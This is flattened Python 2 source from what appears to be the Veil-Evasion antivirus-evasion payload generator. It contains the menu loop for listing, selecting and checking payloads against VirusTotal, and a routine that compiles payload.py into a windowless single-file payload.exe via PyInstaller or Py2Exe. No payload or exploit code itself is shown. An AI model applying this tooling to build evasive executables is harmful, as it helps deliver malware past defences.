self.UpdateVeil() if settings.TERMINAL_CLEAR != "false": showMessage = True cmd = "" elif cmd.startswith("checkvt"): self.CheckVT() if settings.TERMINAL_CLEAR != "false": showMessage = True cmd = "" # clean payload folders if cmd.startswith("clean"): self.CleanPayloads() if settings.TERMINAL_CLEAR != "false": showMessage = True cmd = "" elif cmd.startswith("info"): if len(cmd.split()) == 1: if settings.TERMINAL_CLEAR != "false": showMessage = True cmd = "" elif len(cmd.split()) == 2: # pull out the payload/number to use p = cmd.split()[1] # if we're choosing the payload by numbers if p.isdigit() and 0 < int(p) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(p) == x: self.payload = pay self.payloadname = name self.PayloadInfo(self.payload) x += 1 # else choosing the payload by name else: for (payloadName, pay) in self.payloads: # if we find the payload specified, kick off the payload menu if payloadName == p: self.payload = pay self.payloadname = payloadName self.PayloadInfo(self.payload) cmd = "" showMessage = False # error catchings if not of form [use BLAH] else: cmd = "" showMessage = False elif cmd.startswith("list") or cmd.startswith("ls"): if len(cmd.split()) == 1: if settings.TERMINAL_CLEAR != "false": messages.title() self.ListPayloads() cmd = "" showMessage = False elif cmd.startswith("exit") or cmd.startswith("q"): if self.oneRun: # if we're being invoked from external code, just return # an empty string on an exit/quit instead of killing everything return "" else: print helpers.color("\n [!] Exiting...\n", warning=True) sys.exit() # select a payload by just the number elif cmd.isdigit() and 0 < int(cmd) <= len(self.payloads): x = 1 for (name, pay) in self.payloads: # if the entered number matches the payload #, use that payload if int(cmd) == x: self.payload = pay self.payloadname = name self.outputFileName = self.PayloadMenu(self.payload, args=args) x += 1 cmd = "" if settings.TERMINAL_CLEAR != "false": showMessage = True # if nothing is entered else: cmd = "" showMessage = False # if we're looping forever on the main menu (Veil.py behavior) # reset the output filname to nothing so we don't break the while if not self.oneRun: self.outputFileName = "" return self.outputFileName # catch any ctrl + c interrupts except KeyboardInterrupt: if self.oneRun: # if we're being invoked from external code, just return # an empty string on an exit/quit instead of killing everything return "" else: print helpers.color("\n\n [!] Exiting...\n", warning=True) sys.exit()
def supportingFiles(): # Print Title messages.title() # Determine if the user wants Pyinstaller or Py2Exe. print '\n[?] How would you like to create your payload executable?\n' print ' 1 - Pyinstaller (default)' print ' 2 - Py2Exe\n' try: PyMaker = raw_input("[>] Please enter the number of your choice: ") except KeyboardInterrupt: print "\n[!] Exiting...\n" sys.exit() # Python-Wrapper If-statement if PyMaker == "2": # Generate setup.py File for Py2Exe SetupFile = open('setup.py', 'w') SetupFile.write("from distutils.core import setup\n") SetupFile.write("import py2exe, sys, os\n\n") SetupFile.write("setup(\n") SetupFile.write("\toptions = {'py2exe': {'bundle_files': 1}},\n") SetupFile.write("\tzipfile = None,\n") SetupFile.write("\twindows=['payload.py']\n") SetupFile.write(")") SetupFile.close() # Generate Batch script for Compiling on Windows Using Py2Exe RunmeFile = open('runme.bat', 'w') RunmeFile.write( 'rem Batch Script for compiling python code into an executable\n') RunmeFile.write('rem on windows with py2exe\n') RunmeFile.write('rem Developed by @ChrisTruncer\n\n') RunmeFile.write( 'rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n' ) RunmeFile.write("python setup.py py2exe\n") RunmeFile.write('cd dist\n') RunmeFile.write('move payload.exe ../\n') RunmeFile.write('cd ..\n') RunmeFile.write('rmdir /S /Q build\n') RunmeFile.write('rmdir /S /Q dist\n') RunmeFile.close() print shellcode.helpfulinfo # Else, Use Pyinstaller (used by default) else: # Check for Wine python.exe Binary (Thanks to darknight007 for this fix.) if (os.path.isfile('/root/.wine/drive_c/Python27/python.exe')): print os.system( 'wine /root/.wine/drive_c/Python27/python.exe /root/pyinstaller-2.0/pyinstaller.py --noconsole --onefile payload.py' ) os.system('mv dist/payload.exe .') os.system('rm -rf dist') os.system('rm -rf build') os.system('rm payload.spec') os.system('rm logdict*.*') os.system('rm payload.py') messages.title() print shellcode.helpfulinfo else: messages.title() print "\n[Error]: Can't find python.exe in /root/.wine/drive_c/Python27/." print " Make sure the python.exe binary exists before using PyInstaller.\n" exit(1)